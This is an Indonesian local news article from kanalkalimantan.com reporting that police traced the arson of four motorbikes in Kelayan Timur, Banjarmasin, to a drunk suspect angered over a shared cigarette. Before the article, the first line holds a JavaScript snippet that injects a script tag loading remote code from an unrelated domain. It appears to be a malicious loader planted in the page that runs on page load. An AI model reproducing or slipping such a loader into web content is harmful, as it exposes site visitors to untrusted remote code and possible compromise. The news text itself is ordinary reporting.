(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Motif teror pembakaran 4 motor milik warga di Kelurahan Kelayan Timur, Kecamatan Banjarmasin Selatan, Jumat (1/10/2021) dini hari, akhirnya terkuak. Dari pengakuan tersangka R (23), aksi tersebut dipicu hanya karena sebatang rokok saat ia sedang mabuk bersama teman-temannya.
Kapolsek Banjarmasin Selatan Kompol Yopie Andri Haryanto, melalui Kanit Reskrim Polsekta Banjarmasin Selatan Ipda Hari Junadi, kepada Kanalkalimantan.com, mengatakan, peristiwa yang menghebohkan warga Banjarmasin ini dipicu saat R pada Kamis (30/9/2021) sekitar pukul 23.00 Wita, tengah mabuk di sebuah warung yang sedang tutup di Jalan Tembus Mantuil, Gang Patimura, Kelurahan Kelayan Timur, Kecamatan Banjarmasin Selatan.
“Mereka asyik minum sampai lewat dini hari, hingga masuk hari Jumat (1/10/2021) sekitar pukul 01.00, pelaku kehabisan rokok. Ia lalu minta rokok sama teman-temannya, tapi temannya juga gak ada rokok,” katanya.
Namun demikian, di antara teman-temannya itu masih ada salah satu di antaranya sedang menghisap merokok yang tinggal satu batang itu. R pun kemudian minta untuk bisa menghisap rokok tersebut bersama.
Baca juga : TERTANGKAP. Pelaku Teror Pembakaran 4 Motor di Kelayan Timur Banjarmasin
“Maka dipinjamkanlah rokok itu ke pelaku R, tapi belum sempat dihisap diambil lagi oleh temannya. Inilah yang membuat pelaku kesal, lalu dia pulang dalam perjalanan menuju rumahnya dengan melewati sejumlah rumah warga dan mulai melakukan pembakaran,” terangnya.
Pertama, pelaku membakar motor Honda Vario, yang kebetulan di bawah motor tersebut ada kardus. Setelah itu, berlanjut ke 3 motor warga lainnya.
“Pelaku R juga melihat setumpukan kapuk dalam karung di sebuah rumah yang juga dibakar. Untungnya ada warga melihat sehingga api tidak membesar,” katanya.
Berdasar laporan warga, tim gabungan termasuk dari Polsek Banjarmasin Selatan akhirnya menangkap R. Bersama pelaku, juga diamankan barang bukti berupa baju, celana yang dipakai saat beraksi, helm, plat nomor motor, serta barang bekas yang terbakar di lokasi kejadian.
Baca juga : Data Belum Update, Bupati Banjar Lantik ASN yang Sudah Meninggal Dunia
Pelaku diamankan di Gang Rohmi Kelayan A, Kecamatan Banjarmasin Selatan.
Sebelumnya, warga Kelurahan Kelayan Timur, tepatnya Kompleks 10, Gang Hijrah dan Gang H Taberi, Banjarmasin Selatan, dihebohkan oleh aksi dibakarnya empat buah motor yang diduga dilakukan orang tak dikenal pada Jumat (1/10/2021) dini hari.
Empat motor yang dibakar yakni kendaraan milik Ahmad (30), berupa Honda Tiger, dan kendaraan milik Firdaus (59) berupa Honda Vario. Keduanya merupakan warga Gang Hijrah. Sedangkan dua motor lain yang dibakar adalah Yamaha Mio Soul GT dan Mio J milik Zulkarnaen yang tinggal di Gang H Taberi.
Motor milik Ahmad, bahkan bagian joknya habis terbakar. Sementara bagian body motor juga mengelupas karena terkena api pada kejadian itu.
Hal sama dialami Firdaus. Namun ia lebih beruntung, karena saat kejadian pukul 02.00 Wita, ia mendengar ada orang membangunkannya karena motor Vario yang ada di teras rumahnya sudah berasap lantaran kardus di bawah motor tersebut sudah terbakar. (kanalkalimantan.com/chandra)
Reporter : Chandra
Editor : cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.